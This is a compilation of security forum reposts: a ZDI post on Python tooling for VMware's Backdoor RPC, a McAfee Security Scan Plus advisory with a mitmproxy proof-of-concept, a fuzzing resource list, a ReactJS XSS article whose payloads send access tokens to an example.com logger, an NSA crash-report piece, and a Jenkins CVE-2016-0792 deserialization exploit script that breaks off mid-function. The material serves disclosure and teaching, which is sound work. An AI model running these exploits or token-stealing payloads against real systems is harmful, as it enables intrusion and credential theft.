PYTHONIZING THE VMWARE BACKDOOR August 03, 2017 | Abdul-Aziz Hariri In my previous VMware blog, I detailed how to exploit a Use-After-Free vulnerability that affected drag-and-drop functionality and triggered through the Backdoor RPC interface. After reading it, one of my ZDI colleagues, Vincent Lee, asked me to add more information about the Backdoor interface. Since tooling was also a topic on my mind, I decided to combine both in a blog post. This blog post covers some of the Backdoor functionalities, specifically the RPC interface, and goes over a couple of ways to write tools in Python to speed up the analysis, fuzzing, and exploit development of VMware’s Backdoor RPCI. Overview of the Backdoor interface VMware uses the Backdoor channel for guest-to-host communications. The Backdoor supports multiple commands. These commands can be found in lib/include/backdoor_def.h: The Backdoor uses the in/out instructions to trigger the Backdoor functions. To create a Backdoor request, we need the following ingredients: BDOOR_MAGIC (0x564D5868) value set to EAX BDOOR_PORT 0x5658/0x5659 (low/high bandwidth) set in DX Backdoor command number set in the lower half of ECX Any command specific parameters should go in EBX Execute the “in” instruction For example, if we want to execute the BDOOR_CMD_GETMHZ command which is defined in backdoor_def.h: In assembly, it looks like the following:   mov eax, 564D5868h   mov ecx, 1 //BDOOR_CMD_GETMHZ   mov edx, 5658h   in eax, dx In the case of RPCI requests, which is what we’re really interested in for now, the lower half of ECX should be set to BDOOR_CMD_MESSAGE (or 0x1E) while the high half should be set to the message type. Here are the steps: BDOOR_MAGIC (0x564D5868) value set to EAX BDOOR_PORT 0x5658/0x5659 (low/high bandwidth) set in DX Lower half of ECX set to BDOOR_CMD_MESSAGE (0x1E) The high half of ECX set to a MESSAGE_TYPE_* , where the type is defined in guest_msg_def.h as an enum:   5. EBX set to the RPCI protocol number, which is defined in rpcout.h: And then bitwise OR’d with the flags, which are defined in guest_msg_def.h:   6. Finally, execute the “in” instruction For example, if we’d like to create an RPCI request of type MESSAGE_TYPE_OPEN, it should look like the following:   mov eax, 0x564D5868   mov ecx, 0x001e //MESSAGE_TYPE_OPEN   mov edx, 0x5658   mov ebx, 0xC9435052   in eax, dx In the case of MESSAGE_TYPE_SENDSIZE which is done after a MESSAGE_TYPE_OPEN, EBX should be set to the size of the payload:   mov eax, 0x564D5868   mov ecx, 0x1001e //MESSAGE_TYPE_SENDSIZE   mov edx, 0x5658   mov ebx, SIZE   in eax, dx For a MESSAGE_TYPE_CLOSE:   mov eax, 0x564D5868   mov ecx, 0x6001e //MESSAGE_TYPE_CLOSE   mov edx, 0x5658   mov ebx, SIZE   in eax, dx Putting all of this in a function to send an RPCI request would look something like this:   mov eax, 564D5868h   mov ecx, 1Eh   mov edx, 5658h   mov ebx, 0C9435052h   in eax, dx   mov eax, 564D5868h   mov ecx, 1001Eh   mov dx, 5658h   mov ebx, [esp + 28h]   in eax, dx   mov eax, 564D5868h   mov ecx, [esp + 28h]   mov ebx, 10000h   mov ebp, esi   mov dx, 5659h   mov esi, [esp + 24h]   cld   rep outs dx, byte ptr es : [edi]   mov eax, 564D5868h   mov ecx, 0006001eh   mov dx, 5658h   mov esi, ebp   in eax, dx Pythonizing the RPCI Calls Writing tools to send RPCI requests in C/C++ is easy using the libraries in the open-source VMtools. For our own use within ZDI, I wanted to create something that helps us write faster Proof-of-Concepts (PoCs), assess new incoming cases faster and finally to make RPCI fuzzing easier. Hence, I started working on porting the functionality of sending RPCI requests from Python. Through our brief research, we figured out two ways to do this: Writing a C-Extension for Python (CPython) ctypes foreign function library for Python Initially, when I started working on this I did not even think of ctypes. It was at Recon Montreal when I was hanging out with my colleague Jasiel Spelman. We were discussing random topics, one of which was Pythonizing VMWare RPCI. That’s when he said, “Oh - it can be done in ctypes.” He also kindly agreed to write this next section and explain how it can be done via ctypes. The ctypes way [This section brought to you by Jasiel Spelman] I have a habit of using “inline” assembly in Python. In 2014, I blogged about how I inject Python into threads for the purposes of process introspection, and as part of that, we released python_injector.py. One of the benefits of a tool like this is that you can execute Python on a remote system as though you were doing so locally. This comes into play because it is then a little bit easier to implement something in pure Python rather than have to ship around compiled binaries. An added bonus is that, for the most part, you can handle cross platform support within the Python module itself rather than having varying compiled binaries for every combination of platform and Python version. For brevity, I’m only going to cover performing this from Windows. However, doing so from Linux or macOS is just a matter of calling mprotect with the appropriate flags instead of VirtualProtect. I’m also excluding the assembly itself since Abdul covered that above. Here is a snippet of everything involved:   import ctypes   from ctypes.wintypes import DWORD   from ctypes.wintypes import LPCSTR   from ctypes import CFUNCTYPE   from ctypes import addressof   ASSEMBLY = ‘’   PAGE_EXECUTE_READWRITE = 0x40   RPC_SEND_BUFFER = ctypes.create_string_buffer(ASSEMBLY)   _prototype = CFUNCTYPE(DWORD, LPCSTR, DWORD, use_last_error=True)   ctypes.windll.kernel32.VirtualProtect(addressof(RPC_SEND_BUFFER), len(RPC_SEND_BUFFER), PAGE_EXECUTE_READWRITE, 0)   _rpc_send =   _prototype(addressof(RPC_SEND_BUFFER))   def rpc_send(buf):      return _rpc_send(buf, len(buf)) The first few lines import the ctypes module and bring a few items into our namespace to make the lines a little more readable. We then define the ASSEMBLY variable, though to see the type of assembly you would actually want you’ll need to reference the earlier sections. The next section creates a ctypes string buffer, marks the buffer as executable, and defines the function prototype for the assembly we want to execute. Lastly, we define a Python function that we can call to then call into the assembly itself. I would be remiss to not show a way of also handling the assembly, and for that we’ll use the excellent Keystone assembler against one of the examples Abdul showed earlier. We’ll specifically replicate using BDOOR_CMD_GETMHZ. Here’s a snippet of what would be involved:   from keystone import Ks   from keystone import KS_ARCH_X86   from keystone import KS_MODE_32   ks = Ks(KS_ARCH_X86, KS_MODE_32)   encoding, count = ks.asm(     b'mov eax, 564D5868h;'     b'mov ecx, 1;' #BDOOR_CMD_GETMHZ     b'mov edx, 5658h;'     b'in eax, dx'   )   ASSEMBLY = ''.join(map(chr, encoding)) First, we import the relevant pieces of the Keystone library. Then, we create a Keystone assembler object. At this point, we pass it our string of assembly, where registers names may change if we’re performing this on 32-bit vs 64-bit, and values may change depending on what we are trying to invoke. Once Keystone has returned the bytes, we need to convert them from integers into a string we can use later on. Note that you don’t need to perform this portion. You could assemble the relevant instructions for your target platforms once, however, if you’re going after multiple commands, this may be beneficial. The C-Extension way If ctypes aren’t your thing, CPython also works, and I’ll demonstrate the steps I was taking prior to my talk with Jasiel. CPython supports calling C functions and declaring C types on variables and class attributes. In this case, this allows us to write the function in ASM within a Python C-Extension and compile it to a Python module. While this requires compilation each time we need to modify the underlying code, but in the end, we’d still enjoy writing scripts in Python. The C-Extension can be implemented in multiple ways. In a nutshell, here’s how it can be done (Windows/compiled with VS): Create a function using in-line assembly to send an RPC request:     __declspec(naked) void rpc_send(uint8_t *msg, uint32_t size){     __asm     {     pushad      ….      ….     popad        ret       }     }    2. Add a C function that will be called when the Python function is called:     static PyObject py_rpc_send (PyObject self, PyObject* args)     {     …        if (!PyArg_ParseTuple(args, "z#",&msg,&sz)){     …     }     rpc_send(msg,sz);     …} After compiling the code, we will end up with a Python extension .pyd that we can import from python. Formal documentation for extending Python with C or C++ may be found here. Conclusion: It’s quite handy to have a tool that allows us to rapidly write fuzzers and exploits --especially if it’s in python where it can be easily integrated into frameworks, or even to quickly write standalone scripts. The next blog in this series will cover VMware reversing in order to be able to sniff RPC requests, and you should see it in a few weeks. As always, you can find us on twitter at @abdhariri, @WanderingGlitch, and @thezdi. Also, you might be able to find us at Peppermill. ☺ Sursa: https://www.zerodayinitiative.com/blog/2017/8/1/pythonizing-the-vmware-backdoor

Inainte de ISR era MortalTeam, de unde am inceput si eu. Puscas_Marin, Ras, EMINEM faceau parte din staff.

Da, vad ca se pastreaza la curent cu cam tot ce apare nou.

Suspect.

Erau alte vremuri, alte "trend-uri".

PS: Si la evomag au aceleasi preturi la S8 si S8+. Nu m-am uitat de altele.

Hacking Livestream #28: Windows Kernel Debugging Part I Artem "honorary_bot" Shishkin is a fan of Windows RE, debugging and low-level stuff. He's been using WinDbg for kernel debugging for several years now for fun, customizing BSODs, building Windows kernel source tree or boot dependencies graph. Sometimes he might also accidentally discover such things as SMEP bypass on Windows 8 or how to disable PatchGuard in runtime. Being a great fan of Intel and specifically VMX technology he maintains his own bicycle debugger based on a bare metal hypervisor. Twitter handle: https://twitter.com/honorary_bot Github: https://github.com/honorarybot/ Links from the stream: Books: https://www.amazon.com/Windows-Intern... https://www.amazon.com/Windows-Intern... https://www.amazon.com/Programming-Mi... https://www.amazon.com/Developing-Win... VirtualKD http://virtualkd.sysprogs.org/ USB 3.0 debugging cable (example): https://www.datapro.net/products/usb-... Network card IDs for network debugging: https://docs.microsoft.com/en-us/wind...

SSD Advisory – McAfee Security Scan Plus Remote Command Execution Want to get paid for a vulnerability similar to this one? Contact us at: ssd@beyondsecurity.com Vulnerability Summary The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user. McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs. Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program Vendor response The vendor has released patches to address this vulnerability. For more information: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714 CVE: CVE-2017-3897 Vulnerability details McAfee Security Scan Plus retrieves promotional and UI design information from different mcafee.com domains and displays them to the user, typically in the main application window. The vulnerability is caused by multiple factors: Information is retrieved over plaintext HTTP that can be trivially modified by an active network attacker. McAfee Security Scan Plus rely on the MCBRWSR2.DLL library to display HTML content. The Library exposes the LaunchApplication() JavaScript API that executes arbitrary commands on the affected system. The McAfee Security Scan Plus downloads, after each scan, a UI element indicating the “protection level” of the target from the following URL: http://home.mcafee.com/SecurityScanner/SSBanner.aspx The following screenshot shows the placeholder of the web content while it is loaded (marked with red): Although the original response redirects to a secure HTTPS URL (and server certificates are verified by the client), from a man-in-the-middle position it’s possible to replace the redirection message with a HTTP response indicating success, and containing the call to the LaunchApplication() JavaScript API: <script> window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", ""); </script> 1 2 3 <script> window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", ""); </script> The above JavaScript executes the Windows Calculator (without arguments) with the privileges of the logged in user (on the user’s Desktop). The request is made every time the user initiates a scan or when a scan is initiated automatically – by default the product is configured for weekly scans, the exact time depends on the time of the installation. Proof of Concept 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!/usr/bin/env python3 # # HTTP proxy mode: # mitmproxy -s mcsploit_inline.py --ignore '.*' # # Transparent proxy mode: # mitmproxy -s mcsploit_inline.py -T # from mitmproxy import ctx, http import requests import time COMMAND="c:\\\\windows\\\\system32\\\\calc.exe" CMDARGS="" def response(flow): if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in flow.request.url): if flow.response.status_code == 302: ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)") https_url=flow.request.url.replace("http://","https://") r=requests.get(https_url,headers=flow.request.headers,verify=False) if "text/html" not in r.headers['content-type']: return contents=r.text contents=contents.replace("</head>","<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}</script></head>" % (COMMAND, CMDARGS)) flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type": "text/html; charset=utf-8","Expires":"-1"}) return try: if flow.response.headers["content-type"] == "text/javascript": ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)") inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" % (COMMAND, CMDARGS) try: flow.response.contents = inject + flow.response.contents except AttributeError: ctx.log("[-] [MCSPLOIT] No content in the original response!") pass except KeyError: pass Sursa: https://blogs.securiteam.com/index.php/archives/3350

Welcome to Awesome Fuzzing A curated list of fuzzing resources ( Books, courses - free and paid, videos, tools, tutorials and vulnerable applications to practice on ) for learning Fuzzing and initial phases of Exploit Development like root cause analysis. Table of Contents Books Courses Free Paid Videos NYU Poly Course videos Conference talks and tutorials Tutorials and Blogs Tools File Format Fuzzers Network Protocol Fuzzers Taint Analysis Symbolic Execution SAT and SMT Solvers Essential Tools Vulnerable Applications Anti-Fuzzing Contributing Awesome Fuzzing Resources Books Books on fuzzing Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, Pedram Amini. Fuzzing for Software Security Testing and Quality Assurance by Ari Takanen, Charles Miller, and Jared D Demott. Open Source Fuzzing Tools by by Gadi Evron and Noam Rathaus. Gray Hat Python by Justin Seitz. Note: Chapter(s) in the following books are dedicated to fuzzing. The Shellcoder's Handbook: Discovering and Exploiting Security Holes ( Chapter 15 ) by Chris Anley, Dave Aitel, David Litchfield and others. iOS Hacker's Handbook - Chapter 1 Charles Miller, Dino DaiZovi, Dion Blazakis, Ralf-Philip Weinmann, and Stefan Esser. IDA Pro - The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler Courses Courses/Training videos on fuzzing Free NYU Poly ( see videos for more ) - Made available freely by Dan Guido. Samclass.info ( check projects section and chapter 17 ) - by Sam. Modern Binary Exploitation ( RPISEC ) - Chapter 15 - by RPISEC. Offensive Computer Security - Week 6 - by W. Owen Redwood and Prof. Xiuwen Liu. Paid Offensive Security, Cracking The Perimeter ( CTP ) and Advanced Windows Exploitation ( AWE ) SANS 660/760 Advanced Exploit Development for Penetration Testers Exodus Intelligence - Vulnerability development master class Videos Videos talking about fuzzing techniques, tools and best practices NYU Poly Course videos Fuzzing 101 (Part 1) - by Mike Zusman. Fuzzing 101 (Part 2) - by Mike Zusman. Fuzzing 101 (2009) - by Mike Zusman. Fuzzing - Software Security Course on Coursera - by University of Maryland. Conference talks and tutorials Youtube Playlist of various fuzzing talks and presentations - Lots of good content in these videos. Browser bug hunting - Memoirs of a last man standing - by Atte Kettunen Coverage-based Greybox Fuzzing as Markov Chain Tutorials and Blogs Tutorials and blogs which explain methodology, techniques and best practices of fuzzing [2016 articles] Effective File Format Fuzzing - Mateusz “j00ru” Jurczyk @ Black Hat Europe 2016, London A year of Windows kernel font fuzzing Part-1 the results - Amazing article by Google's Project Zero, describing what it takes to do fuzzing and create fuzzers. A year of Windows kernel font fuzzing Part-2 the techniques - Amazing article by Google's Project Zero, describing what it takes to do fuzzing and create fuzzers. Interesting bugs and resources at fuzzing project - by fuzzing-project.org. Fuzzing workflows; a fuzz job from start to finish - by @BrandonPrry. A gentle introduction to fuzzing C++ code with AFL and libFuzzer - by Jeff Trull. A 15 minute introduction to fuzzing - by folks at MWR Security. Note: Folks at fuzzing.info has done a great job of collecting some awesome links, I'm not going to duplicate their work. I will add papers missed by them and from 2015 and 2016. Fuzzing Papers - by fuzzing.info Fuzzing Blogs - by fuzzing.info Root Cause Analysis of the Crash during Fuzzing - by Corelan Team. Root cause analysis of integer flow - by Corelan Team. Creating custom peach fuzzer publishers - by Open Security Research 7 Things to Consider Before Fuzzing a Large Open Source Project - by Emily Ratliff. From Fuzzing to Exploit: From fuzzing to 0-day - by Harold Rodriguez(@superkojiman). From crash to exploit - by Corelan Team. Peach Fuzzer related tutorials Getting Started with Peach Fuzzing with Peach Part 1 - by Jason Kratzer of corelan team Fuzzing with Peach Part 2 - by Jason Kratzer of corelan team. Auto generation of Peach pit files/fuzzers - by Frédéric Guihéry, Georges Bossert. AFL Fuzzer related tutorials Fuzzing workflows; a fuzz job from start to finish - by @BrandonPrry. Fuzzing capstone using AFL persistent mode - by @toasted_flakes RAM disks and saving your SSD from AFL Fuzzing Bug Hunting with American Fuzzy Lop Advanced usage of American Fuzzy Lop with real world examples Segfaulting Python with afl-fuzz Fuzzing Perl: A Tale of Two American Fuzzy Lops Fuzzing With AFL-Fuzz, a Practical Example ( AFL vs Binutils ) The Importance of Fuzzing...Emulators? How Heartbleed could've been found Filesystem Fuzzing with American Fuzzy lop Fuzzing Perl/XS modules with AFL How to fuzz a server with American Fuzzy Lop - by Jonathan Foote libFuzzer Fuzzer related tutorials libFuzzer Tutorial libFuzzer Workshop: "Modern fuzzing of C/C++ Projects" Spike Fuzzer related tutorials Fuzzing with Spike to find overflows Fuzzing with Spike - by samclass.info FOE Fuzzer related tutorials Fuzzing with FOE - by Samclass.info SMT/SAT solver tutorials Z3 - A guide - Getting Started with Z3: A Guide Tools Tools which helps in fuzzing applications File Format Fuzzers Fuzzers which helps in fuzzing file formats like pdf, mp3, swf etc., MiniFuzz - Basic file format fuzzing tool by Microsoft. BFF from CERT - Basic Fuzzing Framework for file formats. AFL Fuzzer (Linux only) - American Fuzzy Lop Fuzzer by Michal Zalewski aka lcamtuf Win AFL - A fork of AFL for fuzzing Windows binaries by Ivan Fratic Shellphish Fuzzer - A Python interface to AFL, allowing for easy injection of testcases and other functionality. TriforceAFL - A modified version of AFL that supports fuzzing for applications whose source code not available. Peach Fuzzer - Framework which helps to create custom dumb and smart fuzzers. MozPeach - A fork of peach 2.7 by Mozilla Security. Failure Observation Engine (FOE) - mutational file-based fuzz testing tool for windows applications. rmadair - mutation based file fuzzer that uses PyDBG to monitor for signals of interest. honggfuzz - A general-purpose, easy-to-use fuzzer with interesting analysis options. Supports feedback-driven fuzzing based on code coverage. Supports GNU/Linux, FreeBSD, Mac OSX and Android. zzuf - A transparent application input fuzzer. It works by intercepting file operations and changing random bits in the program's input. radamsa - A general purpose fuzzer and test case generator. binspector - A binary format analysis and fuzzing tool Network Protocol Fuzzers Fuzzers which helps in fuzzing applications which use network based protocals like HTTP, SSH, SMTP etc., Peach Fuzzer - Framework which helps to create custom dumb and smart fuzzers. Sulley - A fuzzer development and fuzz testing framework consisting of multiple extensible components by Michael Sutton. boofuzz - A fork and successor of Sulley framework. Spike - A fuzzer development framework like sulley, a predecessor of sulley. Metasploit Framework - A framework which contains some fuzzing capabilities via Auxiliary modules. Nightmare - A distributed fuzzing testing suite with web administration, supports fuzzing using network protocols. rage_fuzzer - A dumb protocol-unaware packet fuzzer/replayer. Misc Other notable fuzzers like Kernel Fuzzers, general purpose fuzzer etc., KernelFuzzer - Cross Platform Kernel Fuzzer Framework. honggfuzz - A general-purpose, easy-to-use fuzzer with interesting analysis options. Hodor Fuzzer - Yet Another general purpose fuzzer. libFuzzer - In-process, coverage-guided, evolutionary fuzzing engine for targets written in C/C++. syzkaller - Distributed, unsupervised, coverage-guided Linux syscall fuzzer. ansvif - An advanced cross platform fuzzing framework designed to find vulnerabilities in C/C++ code. Taint Analysis How user input affects the execution PANDA ( Platform for Architecture-Neutral Dynamic Analysis ) QIRA (QEMU Interactive Runtime Analyser) Symbolic Execution SAT and SMT Solvers Z3 - A theorem prover from Microsoft Research. SMT-LIB - An international initiative aimed at facilitating research and development in Satisfiability Modulo Theories (SMT) References I haven't included some of the legends like AxMan, please refer the following link for more information.https://www.ee.oulu.fi/research/ouspg/Fuzzers Essential Tools Tools of the trade for exploit developers, reverse engineers Debuggers Windbg - The preferred debugger by exploit writers. Immunity Debugger - Immunity Debugger by Immunity Sec. OllyDbg - The debugger of choice by reverse engineers and exploit writers alike. Mona.py ( Plugin for windbg and Immunity dbg ) - Awesome tools that makes life easy for exploit developers. x64dbg - An open-source x64/x32 debugger for windows. Evan's Debugger (EDB) - Front end for gdb. GDB - Gnu Debugger - The favorite linux debugger. PEDA - Python Exploit Development Assistance for GDB. Radare2 - Framework for reverse-engineering and analyzing binaries. Disassemblers and some more Dissemblers, disassembly frameworks etc., IDA Pro - The best disassembler binnavi - Binary analysis IDE, annotates control flow graphs and call graphs of disassembled code. Capstone - Capstone is a lightweight multi-platform, multi-architecture disassembly framework. Others ltrace - Intercepts library calls strace - Intercepts system calls Vulnerable Applications Exploit-DB - https://www.exploit-db.com (search and pick the exploits, which have respective apps available for download, reproduce the exploit by using fuzzer of your choice) PacketStorm - https://packetstormsecurity.com/files/tags/exploit/ Fuzzgoat - Vulnerable C program for testing fuzzers. Samples files for seeding during fuzzing: https://files.fuzzing-project.org/ PDF Test Corpus from Mozilla MS Office file format documentation Fuzzer Test Suite - Set of tests for fuzzing engines. Includes different well-known bugs such as Heartbleed, c-ares $100K bug and others. Anti Fuzzing Introduction to Anti-Fuzzing: A Defence In-Depth Aid Contributing Please refer the guidelines at contributing.md for details. Thanks to the following folks who made contributions to this project. Tim Strazzere jksecurity Sursa: https://github.com/secfigo/Awesome-Fuzzing/blob/master/README.md

Bernhard Mueller Uncertified Software Security Professional. Pwnie Winner ヽ(゜∇゜)ノ Aug 2 Exploiting Script Injection Flaws in ReactJS Apps ReactJS is a popular JavaScript library for building user interfaces. It enables client-rendered, “rich” web apps that load entirely upfront, allowing for a smoother user experience. Given that React apps implement a whole lot of client-side logic in JavaScript, it doesn’t seem far-fetched to assume that XSS-type attacks could be worthwhile. As it turns out, ReactJS is quite safe by design as long as it is used the way it’s meant to be used. For example, string variables in views are escaped automatically. However, as with all good things in life, it’s not impossible to mess things up. Script injection issues can result from bad programming practices including the following: Creating React components from user-supplied objects; Rendering links with user-supplied href attributes, or other HTML tags with injectable attributes (link tag, HMTL5 imports); Explicitly setting the dangerouslySetInnerHTML prop of an element; Passing user-supplied strings to eval(). In a world ruled by Murphy’s law, all of this is guaranteed to happen, so let’s have a closer look. Components, Props and Elements Components are the basic building block of ReactJS. Conceptually, they are like JavaScript functions. They accept arbitrary inputs (“props”) and return React elements describing what should appear on the screen. A basic component looks as follows: class Welcome extends React.Component { render() { return <h1>Hello, {this.props.name}</h1>; } } Note the weird syntax in the return statement: This is JSX, a syntax extension to JavaScript. During the build process, the JSX code is transpiledto regular JavaScript (ES5) code. The following two examples are identical: // JSX const element = ( <h1 className=”greeting”> Hello, world! </h1> ); // Transpiled to createElement() call const element = React.createElement( ‘h1’, {className: ‘greeting’}, ‘Hello, world!’ ); New React elements are created from component classes using the createElement() function: React.createElement( type, [props], [...children] ) This function takes three arguments: type can be either a tag name string (such as 'div' or 'span'), or a component class. In React Native, only component classes are allowed. props contains a list of attributes passed to the new element. children contains the child node(s) of the new element (which, in turn, are more React components). Several attack vectors exist if you can control any of those arguments. Injecting Child Nodes In March 2015, Daniel LeCheminant reported a stored cross-site scripting vulnerability in HackerOne. The issue was caused by the HackerOne web app passing an arbitrary, user-supplied object as the children argument to React.createElement(). Presumably, the vulnerable code must have looked somewhat like the following: /* Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. attacker_supplied_value = JSON.parse(some_user_input) */ render() { return <span>{attacker_supplied_value}</span>; } This JSX would translate to the following JavaScript: React.createElement("span", null, attacker_supplied_value}; When attacker_supplied_value was a string as expected, this would produce a regular span element. However, the createElement() function in the then-current version of ReactJS would also accept plain objects passed as children. Daniel exploited the issue by supplying a JSON-encoded object. He included the dangerouslySetInnerHTML prop, allowing him to insert raw HTML into the output rendered by React. His final proof-of-concept looked as follows: { _isReactElement: true, _store: {}, type: “body”, props: { dangerouslySetInnerHTML: { __html: "<h1>Arbitrary HTML</h1> <script>alert(‘No CSP Support :(‘)</script> <a href=’http://danlec.com'>link</a>" } } } Following Daniel’s blog post, potential mitigations were discussed on the React.js GitHub. In November 2015, Sebastian Markbåge commited a fix: React elements were now tagged with the attribute$$typeof: Symbol.for('react.element'). Because there is no way to reference a global JavaScript symbol from an injected object, Daniel’s technique of injecting child elements can’t be used anymore. Controlling Element Type Even though plain objects are no longer work as ReactJS elements, component injection still isn’t completely impossible, because createElementalso accepts strings in the type argument. Suppose a developer did something like this: // Dynamically create an element from a string stored in the backend. element_name = stored_value; React.createElement(element_name, null); If stored_valuewas an attacker-controlled string, it would be possible to create an arbitrary React component. However, this would result only in a plain, attribute-less HTML element (i.e. pretty useless to the attacker). To do something useful, one must be able to control the properties of the newly created element. Injecting Props Consider the following code: // Parse attacker-supplied JSON for some reason and pass // the resulting object as props. // Don't do this at home unless you are a trained expert! attacker_props = JSON.parse(stored_value) React.createElement("span", attacker_props}; Here, we can inject arbitrary props into the new element. We could use the following payload to set the dangerouslySetInnerHTML property: {"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}} Classical XSS Some traditional XSS vectors are also viable in ReactJS apps. Look out for the following anti-patterns: Explicitly Setting dangerouslySetInnerHTML Developers may choose to set the dangerouslySetInnerHTML prop on purpose. <div dangerouslySetInnerHTML={user_supplied} /> Obviously, if you control the value of that prop, you can insert any JavaScript your heart desires. Injectable Attributes If you control the href attribute of a dynamically generated a tag, there’s nothing to prevent you from injection a javascript: URL. Some other attributes such as formaction in HTML5 buttons also work in modern browser. <a href={userinput}>Link</a> <button form="name" formaction={userinput}> Another exotic injection vector that would work in modern browsers are HTML5 imports: <link rel=”import” href={user_supplied}> Server-Side Rendered HTML To improve initial page load times, there has lately been a trend towards pre-rendering React.JS pages on the server (“server-side rendering”). In November 2016, Emilia Smith pointed out that the official Redux code sample for SSR resulted in a cross-site scripting vulnerability, because the client state was concatenated into the pre-rendered page without escaping (the sample code has since been fixed). The take-away: If HTML is pre-rendered on the server-side, you might see the same types of XSS issues found in “regular” web apps. Eval-based injection If the app uses eval() to dynamically execute an injectable string under your control, you have hit the jackpot. In that case, you may proceed to inject arbitrary code of your choosing. function antiPattern() { eval(this.state.attacker_supplied); } XSS Payload In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. The agile developer of today uses stateless session tokens, elegantly saved in client-side local storage. Consequently, hackers must adapt their payloads accordingly. When exploiting an XSS attack a ReactJS web app, you could inject something along the following lines to retrieve an access token from local storage and sent it to your logger: fetch(‘http://example.com/logger.php?token='+localStorage.access_token); How About React Native? React Native is a mobile app framework that allows you to build nativemobile applications using ReactJS. More specifically, it provides you with a runtime that can run React JavaScript bundles on mobile devices. In true Inception style, you can “port” a React Native App to work in regular web browsers using React Native for Web (web app in a mobile app in a web app). This means that you build apps from Android, iOS and Desktop browser from a single code base. From what I’ve seen so far, most of the script injection vectors mentioned above don’t work in React Native: React Native’s createInternalComponent method only accepts tagged component classes, so even if you fully control the arguments to createElement() you can’t create arbitrary elements; HTML elements don’t exist, and HTML isn’t parsed, so typical browser-based XSS vectors (e.g. href) can’t be used. Only the eval() based variant seems to be exploitable on mobile devices. If you do get JavaScript code injected through eval(), you can access React Native APIs and do interesting things. For example, you could steal all the data from local storage (AsyncStorage) by doing something like: _reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch(‘http://example.com/logger.php?token='+JSON.stringify(result));});}); TL;DR Even though ReactJS is quite safe by design, it’s not impossible to mess things up. Bad programming practices can lead to exploitable security vulnerabilities. Security Testers: Inject JavaScript and JSON wherever you can and see what happens. Developers: Don’t ever useeval() or dangerouslySetInnerHTML. Avoid parsing user-supplied JSON. React Security Application Security Hacking Penetration Testing Bernhard Mueller Uncertified Software Security Professional. Pwnie Winner ヽ(゜∇゜)ノ Sursa: https://medium.com/@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1

NSA Collects MS Windows Error Information Back in 2013, Der Spiegel reported that the NSA intercepts and collects Windows bug reports: One example of the sheer creativity with which the TAO spies approach their work can be seen in a hacking method they use that exploits the error-proneness of Microsoft's Windows. Every user of the operating system is familiar with the annoying window that occasionally pops up on screen when an internal problem is detected, an automatic message that prompts the user to report the bug to the manufacturer and to restart the program. These crash reports offer TAO specialists a welcome opportunity to spy on computers. When TAO selects a computer somewhere in the world as a target and enters its unique identifiers (an IP address, for example) into the corresponding database, intelligence agents are then automatically notified any time the operating system of that computer crashes and its user receives the prompt to report the problem to Microsoft. An internal presentation suggests it is NSA's powerful XKeyscore spying tool that is used to fish these crash reports out of the massive sea of Internet traffic. The automated crash reports are a "neat way" to gain "passive access" to a machine, the presentation continues. Passive access means that, initially, only data the computer sends out into the Internet is captured and saved, but the computer itself is not yet manipulated. Still, even this passive access to error messages provides valuable insights into problems with a targeted person's computer and, thus, information on security holes that might be exploitable for planting malware or spyware on the unwitting victim's computer. Although the method appears to have little importance in practical terms, the NSA's agents still seem to enjoy it because it allows them to have a bit of a laugh at the expense of the Seattle-based software giant. In one internal graphic, they replaced the text of Microsoft's original error message with one of their own reading, "This information may be intercepted by a foreign sigint system to gather detailed information and better exploit your machine." ("Sigint" stands for "signals intelligence.") The article talks about the (limited) value of this information with regard to specific target computers, but I have another question: how valuable would this database be for finding new zero-day Windows vulnerabilities to exploit? Microsoft won't have the incentive to examine and fix problems until they happen broadly among its user base. The NSA has a completely different incentive structure. I don't remember this being discussed back in 2013. Sursa: https://www.schneier.com/blog/archives/2017/08/nsa_collects_ms.html

import random import string from decimal import Decimal import requests from requests.exceptions import RequestException # Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit # Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins" # Date: 30-07-2017 # Exploit Author: Janusz Piechówka # Github: https://github.com/jpiechowka/jenkins-cve-2016-0792 # Vendor Homepage: https://jenkins.io/ # Version: Versions before 1.650 and LTS before 1.642.2 # Tested on: Debian # CVE : CVE-2016-0792 def prepare_payload(command): splitCommand = command.split() preparedCommands = '' for entry in splitCommand: preparedCommands += f'<string>{entry}</string>' xml = f''' <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> <command>{preparedCommands}</command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>''' return xml def exploit(url, command): print(f'[*] STARTING') try: print(f'[+] Trying to exploit Jenkins running at address: {url}') # Perform initial URL check to see if server is online and returns correct response code using HEAD request headResponse = requests.head(url, timeout=30) if headResponse.status_code == requests.codes.ok: print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}') # 